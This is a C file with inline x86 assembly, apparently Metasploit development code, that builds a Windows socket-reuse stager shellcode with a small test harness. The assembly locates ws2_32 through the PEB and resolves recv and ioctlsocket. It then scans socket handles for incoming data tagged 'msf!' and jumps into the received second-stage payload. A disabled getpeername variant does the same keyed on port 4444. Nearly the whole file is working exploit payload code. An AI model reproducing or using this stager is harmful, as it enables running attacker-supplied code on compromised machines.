#include <windows.h>
#include <winsock.h>

void run_begin();
void run_end();

void main()
{
	WSADATA data;
	char blah[16384];

	memset(&data, 0, sizeof(data));

	if (WSAStartup(0x0202, &data))
	{
		printf("failed\n");
		return;
	}

	{
		int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		struct sockaddr_in s;

		s.sin_family      = AF_INET;
		s.sin_port        = htons(4444);
		s.sin_addr.s_addr = 0x0100007f;

		connect(fd, (struct sockaddr *)&s, sizeof(s));

		printf("fd = %.8x\n", fd);
	}

	printf("size = %lu\n", (ULONG)run_end - (ULONG)run_begin);

	run_begin();
}

void __declspec(naked) run_begin()
{
	__asm
	{
		find_ws2_32:
			cld                              // Reset direction flag
			xor  edi, edi                    // Zero edi
			mov  eax, fs:[edi + 0x30]        // PEB in eax 
			mov  eax, [eax + 0xc]            // LdrData in eax
			mov  ebx, [eax + 0x1c]           // Initialization order list in ebx

		loop_modules:
			mov  ebx, [ebx]                  // Go to the next Flink
			mov  esi, [ebx + 0x20]           // BaseDllName->Buffer pointer in esi
			lodsd                            // Skip ws
			lodsd                            // Load \x32\x00\x5f\x00 into eax
			dec  esi                         // Move esi back one to align characters (spoontastic)
			add  eax, [esi]                  // Add 0x32003300 to 0x005f0032 to get 0x325f3332
			cmp  eax, 0x325f3332             // Does it match?
			jnz  loop_modules                // Nope, not ws2_32
			mov  ebp, [ebx + 0x8]            // Base address in eax

		get_addresses:
			mov  eax, [ebp + 0x3c]           // PE offset in eax
			mov  ecx, [ebp + eax + 0x78]     // EDT in ecx
			mov  ecx, [ebp + ecx + 0x1c]     // Address table in ecx
			mov  ebx, [ecx + ebp + 0x3c]     // recv
			add  ebx, ebp
			add  ebp, [ecx + ebp + 0x24]     // ioctlsocket

			push edi                         // Push NULL
		find_fd_loop:
			inc  di                          // Next socket

		get_bytes_avail:
			mov  esi, esp                    // Set esi to the current stack pointer
			push esi                         // Push pointer to hold number of bytes avail
			push 0x4004667f                  // Push FIONREAD
			push edi                         // Push the fd
			call ebp                         // Call ioctlsocket
			lodsd                            // Load the number of bytes read into eax
			test eax, eax                    // No bytes?
			jz   find_fd_loop                // Next fd

		recv_from_fd:
			// The number of bytes available for read is in eax, which you could
			// use if you could guarantee that the number of bytes available is the
			// total size of the next stage.  This would save a few bytes.
			cdq                              // Zero out edx
			push edx                         // Push flags
			mov  dh, 0x0c
			push edx
			push esi                         // Push buffer
			push edi                         // Push socket
			call ebx                         // Call recv
			lodsd                            // Load the tag
			cmp  eax, 0x2166736d             // Compare with 'msf!'
			jnz  find_fd_loop                // No match? Next.
			jmp  esi                         // Jump into buf
	}

}

void __declspec(naked) run_end()
{
}

#if GETPEERNAME
	__asm
	{
			int 3
		find_ws2_32:
			cld                              // Reset direction flag
			xor  edi, edi                    // Zero edi
			mov  eax, fs:[edi + 0x30]        // PEB in edi
			mov  eax, [eax + 0xc]            // LdrData in eax
			mov  ebx, [eax + 0x1c]           // Initialization order list in ebx

		loop_modules:
			mov  ebx, [ebx]                  // Go to the next Flink
			mov  esi, [ebx + 0x20]           // BaseDllName->Buffer pointer in esi
			lodsd                            // Skip ws
			lodsd                            // Load \x32\x00\x5f\x00 into eax
			dec  esi                         // Move esi back one to align characters (spoontastic)
			add  eax, [esi]                  // Add 0x32003300 to 0x005f0032 to get 0x325f3332
			cmp  eax, 0x325f3332             // Does it match?
			jnz  loop_modules                // Nope, not ws2_32
			mov  ebp, [ebx + 0x8]            // Base address in eax

		get_addresses:
			mov  eax, [ebp + 0x3c]           // PE offset in eax
			mov  ecx, [ebp + eax + 0x78]     // EDT in ecx
			mov  ecx, [ebp + ecx + 0x1c]     // Address table in ecx
			add  ecx, ebp
			mov  ebx, [ecx + 0x10]           // getpeername
			add  ebx, ebp
			mov  esi, [ecx + 0x3c]           // recv
			add  esi, ebp

			mov  ebp, esp                    // Save the sockaddr pointer
			push 0x10                        // Push buffer length
		find_fd:
			inc  edi                         // Increment socket handle
			push esp                         // Push pointer to buffer length
			push ebp                         // Push buffer
			push edi                         // Push socket handle
			call ebx                         // Call getpeername
			cmp  word ptr [ebp+0x2], 0x5c11  // Does the port match?
			jnz  find_fd                     // Nope, next.

		recv:
			push eax                         // Push zero
			mov  ah, 0x20                    // Set eax to 0x2000
			push eax                         // Push 0x2000
			push ebp                         // Push a stack buffer pointer (from above)
			push edi                         // Push the socket handle
			push ebp                         // Use the buffer as the return address (spoontastic)
			jmp  esi                         // Jump into stage through recv call
	}
#endif